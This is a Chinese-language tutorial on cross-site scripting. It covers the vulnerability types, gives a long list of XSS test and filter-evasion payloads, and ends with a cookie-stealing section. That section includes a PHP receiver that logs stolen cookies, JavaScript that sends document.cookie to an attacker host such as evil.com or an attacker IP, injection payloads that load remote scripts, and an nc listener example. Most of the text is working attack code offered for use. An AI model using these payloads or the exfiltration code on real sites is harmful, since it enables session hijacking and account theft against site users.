1、xss漏洞的定义

  XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到web网站里面,供给其它用户访问,当用户访问到有恶意代码的网页就会产生xss攻击。

 

2、xss漏洞的危害

  1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号

  2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

  3、盗窃企业重要的具有商业价值的资料

  4、非法转账

  5、强制发送电子邮件

  6、网站挂马

  7、控制受害者机器向其它网站发起攻击

 

3、xss漏洞的类型

  反射型:

    反射型XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码

    ​​例子: http://target_sys.com/xss/xss01.php?name=<script>alert(/xss/)</script​​>

 

  存储型:

    存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。

 

    代码示例: <SCRIPT>alert(document.cookie)</SCRIPT>

 

  dom型:

    DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。

    DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。

    在网站页面中有许多页面的元素,当页面到达浏览器时浏览 器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。

    document.referer属性

    window.name属性

    location属性

    innerHTML属性

    document.write属性

    默认火狐是不能执行这种dom xss 因为火狐会把url上面的字符串进行编码

    在ie里面默认不编码 但是要关闭xss过滤器方可执行

 

4、一些常见的xss测试语句



1 <h5>1</h5>
2
3 <SCRIPT>alert(document.cookie)</SCRIPT>
4
5 <img src=1 onerror=alert(document.cookie)>
6
7 其他测试语句
8 <script>alert('hello,gaga!');</script> //经典语句,哈哈!
9 >"'><img src="javascript.:alert('XSS')">
10
11 >"'><script>alert('XSS')</script>
12
13 <table background='javascript.:alert(([code])'></table>
14
15 <object type=text/html data='javascript.:alert(([code]);'></object>
16
17 "+alert('XSS')+"
18
19 '><script>alert(document.cookie)</script>
20
21 ='><script>alert(document.cookie)</script>
22
23 <script>alert(document.cookie)</script>
24
25 <script>alert(vulnerable)</script>
26
27 <s&#99;ript>alert('XSS')</script>
28
29 <img src="javas&#99;ript:alert('XSS')">
30
31 %0a%0a<script>alert(\"Vulnerable\")</script>.jsp
32
33 %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
34
35 %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
36
37 %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
38
39 <script>alert('Vulnerable')</script>
40
41 a.jsp/<script>alert('Vulnerable')</script>
42
43 "><script>alert('Vulnerable')</script>
44
45 <IMG SRC="javascript.:alert('XSS');">
46
47 <IMG src="/javascript.:alert"('XSS')>
48
49 <IMG src="/JaVaScRiPt.:alert"('XSS')>
50
51 <IMG src="/JaVaScRiPt.:alert"("XSS")>
52
53 <IMG SRC="jav&#x09;ascript.:alert('XSS');">
54
55 <IMG SRC="jav&#x0A;ascript.:alert('XSS');">
56
57 <IMG SRC="jav&#x0D;ascript.:alert('XSS');">
58
59 "<IMG src="/java"\0script.:alert(\"XSS\")>";'>out
60
61 <IMG SRC=" javascript.:alert('XSS');">
62
63 <SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
64
65 <BODY BACKGROUND="javascript.:alert('XSS')">
66
67 <BODY ONLOAD=alert('XSS')>
68
69 <IMG DYNSRC="javascript.:alert('XSS')">
70
71 <IMG LOWSRC="javascript.:alert('XSS')">
72
73 <BGSOUND SRC="javascript.:alert('XSS');">
74
75 <br size="&{alert('XSS')}">
76
77 <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
78
79 <LINK REL="stylesheet"HREF="javascript.:alert('XSS');">
80
81 <IMG SRC='vbscript.:msgbox("XSS")'>
82
83 <META. HTTP-EQUIV="refresh"CONTENT="0;url=javascript.:alert('XSS');">
84
85 <IFRAME. src="/javascript.:alert"('XSS')></IFRAME>
86
87 <FRAMESET><FRAME. src="/javascript.:alert"('XSS')></FRAME></FRAMESET>
88
89 <TABLE BACKGROUND="javascript.:alert('XSS')">
90
91 <DIV STYLE="background-image: url(javascript.:alert('XSS'))">
92
93 <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html&#39;);">
94
95 <DIV STYLE="width: expression(alert('XSS'));">
96
97 <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
98
99 <IMG STYLE='xss:expre\ssion(alert("XSS"))'>
100
101 <STYLE. TYPE="text/javascript">alert('XSS');</STYLE>
102
103 <STYLE. TYPE="text/css">.XSS{background-image:url("javascript.:alert('XSS')");}</STYLE><A CLASS=XSS></A>
104
105 <STYLE. type="text/css">BODY{background:url("javascript.:alert('XSS')")}</STYLE>
106
107 <BASE HREF="javascript.:alert('XSS');//">
108
109 getURL("javascript.:alert('XSS')")
110
111 a="get";b="URL";c="javascript.:";d="alert('XSS');";eval(a+b+c+d);
112
113 <XML SRC="javascript.:alert('XSS');">
114
115 "> <BODY NLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
116
117 <SCRIPT. SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
118
119 <IMG SRC="javascript.:alert('XSS')"
120
121 <SCRIPT. a=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
122
123 <SCRIPT.=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
124
125 <SCRIPT. a=">"''SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
126
127 <SCRIPT."a='>'"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
128
129 <SCRIPT>document.write("<SCRI");</SCRIPT>PTSRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
130
131 <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>


 

5、xss利用

  a. 盗取cookie:

    接收端后端:



1   <?php
2    @ini_set('display_errors',1);
3    $str = $_GET['前端设置接受参数'];
4    $filePath = "新建.php"; #把cookie写道新建.php中
5    $handler = fopen($filePath, "a");
6    fwrite($handler, $str);
7   fclose($handler);
8   ?>


    接收端前端(js文件):



1   xss.js-1
2   var img = document.createElement('img');
3   img.width = 0;
4   img.height = 0;
5   img.src = 'http://接收端ip(可以是内网的ip了)/接收端后端文件.php?设置接收参数'+encodeURIComponent(document.cookie);
6
7   xss.js-2 (结合监听的前端代码)
8   var img=document.createElement("img");
9   img.src="http://www.evil.com/log?"+escape(document.cookie);
10   document.body.appendChild(img);


    payload:



<script src="http://接收端ip/接收端前端的js文件.js"></script>
这里http四个字母可以去掉,因为网站有的时候是https


    <img onerror=document.body.appendChild(document.createElement('script')).src='//接收端ip/接收端前端的js文件.js'>

 

    <script>var img=document.createElement("img");img.src="http://接收端ip/?"+escape(document.cookie);</script>  (结合监听使用)


    或者端口监听也可以:

      xss+端口监听:

      在dos命令框中进入nc端口

      输入-lvp 端口号 进行监听

      然后输入xsspayload:




1     <script>
2     document.write('<img src="http://本地ip与端口/?'+document.cookie+'"/>');
3     </script>
4     例如:
5     <script>
6     document.write('<img src="http://192.168.43.110:12345/?'+document.cookie+'"/>');
7     </script>